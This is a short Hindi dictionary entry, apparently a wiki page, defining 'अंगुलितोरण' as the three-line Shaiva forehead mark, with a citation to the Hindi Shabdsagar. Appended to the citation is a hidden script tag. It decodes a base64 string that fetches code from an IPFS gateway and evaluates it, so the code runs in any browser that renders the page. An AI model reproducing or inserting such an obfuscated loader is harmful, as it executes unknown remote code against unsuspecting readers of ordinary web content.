अंगुलितोरण
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अंगुलितोरण - संज्ञा पुल्लिंग (संस्कृत अङ्गुलितोरण)[1]
त्रिपुण्ड्र तिलक, तीन पतली अर्द्धचंद्राकार समानांतर रेखाओं का तिलक, जिसे शैव लोग माथे पर लगाते हैं।
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टीका टिप्पणी और संदर्भ
- ↑ हिंदी शब्दसागर, प्रथम भाग |लेखक: श्यामसुंदरदास बी. ए. |प्रकाशक: नागरी मुद्रण, वाराणसी |पृष्ठ संख्या: 10 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>